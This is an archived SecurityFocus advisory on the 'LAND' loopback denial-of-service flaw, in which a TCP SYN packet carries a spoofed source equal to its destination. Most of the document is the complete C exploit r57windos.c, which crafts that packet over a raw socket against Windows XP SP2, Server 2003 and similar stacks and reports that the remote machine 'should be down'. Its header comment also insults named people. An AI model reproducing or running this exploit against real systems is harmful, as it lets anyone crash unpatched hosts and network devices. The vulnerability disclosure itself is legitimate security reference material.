source: http://www.securityfocus.com/bid/2666/info
    
A number of TCP/IP stacks are vulnerable to a "loopback" condition initiated by sending a TCP SYN packet with the source address and port spoofed to equal the destination source and port. When a packet of this sort is received, an infinite loop is initiated and the affected system halts. This is known to affect Windows 95, Windows NT 4.0 up to SP3, Windows Server 2003, Windows XP SP2, Cisco IOS devices & Catalyst switches, and HP-UX up to 11.00.
    
It is noted that on Windows Server 2003 and XP SP2, the TCP and IP checksums must be correct to trigger the issue.
    
**Update: It is reported that Microsoft platforms are also prone to this vulnerability. The vendor reports that network routers may not route malformed TCP/IP packets used to exploit this issue. As a result, an attacker may have to discover a suitable route to a target computer, or reside on the target network segment itself before exploitation is possible. 

#define _BSD_SOURCE

#include <stdio.h> 
#include <ctype.h> 
#include <sys/socket.h> 
#include <netinet/in.h> 
#include <netinet/in_systm.h> 
#include <netinet/ip.h> 
#include <netinet/tcp.h> 
#include <sysexits.h> 
#include <stdlib.h> 
#include <unistd.h> 
#include <sys/types.h> 

/* 
Windows Server 2003 and XP SP2 remote DoS exploit 
Tested under OpenBSD 3.6 at WinXP SP 2 
Vuln by Dejan Levaja <dejan_@_levaja.com>
(c)oded by __blf 2005 RusH Security Team , http://rst.void.ru 
Gr33tz: zZz, Phoenix, MishaSt, Inck-vizitor 
Fuck lamerz: Saint_I, nmalykh, Mr. Clumsy 
All rights reserved. 
*/ 

//checksum function by r0ach 
u_short checksum (u_short *addr, int len) 
{ 
u_short *w = addr; 
int i = len; 
int sum = 0; 
u_short answer; 
while (i > 0) 
{ 
sum += *w++; 
i-=2; 
} 
if (i == 1) sum += *(u_char *)w; 
sum = (sum >> 16) + (sum & 0xffff); 
sum = sum + (sum >> 16); 
return (~sum); 
} 
int main(int argc, char ** argv) 
{ 
struct in_addr src, dst; 
struct sockaddr_in sin; 
struct _pseudoheader { 
struct in_addr source_addr; 
struct in_addr destination_addr; 
u_char zero; 
u_char protocol; 
u_short length; 
} pseudoheader; 
struct ip * iph; 
struct tcphdr * tcph; 
int mysock; 
u_char * packet; 
u_char * pseudopacket; 
int on = 1; 
if( argc != 3) 
{ 
fprintf(stderr, "r57windos.c by __blf\n"); 
fprintf(stderr, "RusH Security Team\n"); 
fprintf(stderr, "Usage: %s <dest ip> <dest port>\n", argv[0]); 
return EX_USAGE; 
} 
if ((packet = (char *)malloc(sizeof(struct ip) + sizeof(struct tcphdr))) == NULL) 
{ 
perror("malloc()\n"); 
return EX_OSERR; 
} 
inet_aton(argv[1], &src); 
inet_aton(argv[1], &dst); 
iph = (struct ip *) packet; 
iph->ip_v = IPVERSION; 
iph->ip_hl = 5; 
iph->ip_tos = 0; 
iph->ip_len = ntohs(sizeof(struct ip) + sizeof(struct tcphdr)); 
iph->ip_off = htons(IP_DF); 
iph->ip_ttl = 255; 
iph->ip_p = IPPROTO_TCP; 
iph->ip_sum = 0; 
iph->ip_src = src; 
iph->ip_dst = dst; 
tcph = (struct tcphdr *)(packet +sizeof(struct ip)); 
tcph->th_sport = htons(atoi(argv[2])); 
tcph->th_dport = htons(atoi(argv[2])); 
tcph->th_seq = ntohl(rand()); 
tcph->th_ack = rand(); 
tcph->th_off = 5; 
tcph->th_flags = TH_SYN; // setting up TCP SYN flag here 
tcph->th_win = htons(512); 
tcph->th_sum = 0; 
tcph->th_urp = 0; 
pseudoheader.source_addr = src; 
pseudoheader.destination_addr = dst; 
pseudoheader.zero = 0; 
pseudoheader.protocol = IPPROTO_TCP; 
pseudoheader.length = htons(sizeof(struct tcphdr)); 
if((pseudopacket = (char *)malloc(sizeof(pseudoheader)+sizeof(struct tcphdr))) == NULL) 
{ 
perror("malloc()\n"); 
return EX_OSERR; 
} 
memcpy(pseudopacket, &pseudoheader, sizeof(pseudoheader)); 
memcpy(pseudopacket + sizeof(pseudoheader), packet + sizeof(struct ip), sizeof(struct tcphdr)); 
tcph->th_sum = checksum((u_short *)pseudopacket, sizeof(pseudoheader) + sizeof(struct tcphdr)); 
mysock = socket(PF_INET, SOCK_RAW, IPPROTO_RAW); 
if(!mysock) 
{ 
perror("socket!\n"); 
return EX_OSERR; 
} 
if(setsockopt(mysock, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) == -1) 
{ 
perror("setsockopt"); 
shutdown(mysock, 2); 
return EX_OSERR; 
} 
sin.sin_family = PF_INET; 
sin.sin_addr = dst; 
sin.sin_port = htons(80); 
if(sendto(mysock, packet, sizeof(struct ip) + sizeof(struct tcphdr), 0, (struct sockaddr *)&sin, sizeof(sin)) == -1) 
{ 
perror("sendto()\n"); 
shutdown(mysock, 2); 
return EX_OSERR; 
} 
printf("Packet sent. Remote machine should be down.\n"); 
shutdown(mysock, 2); 
return EX_OK; 
} 
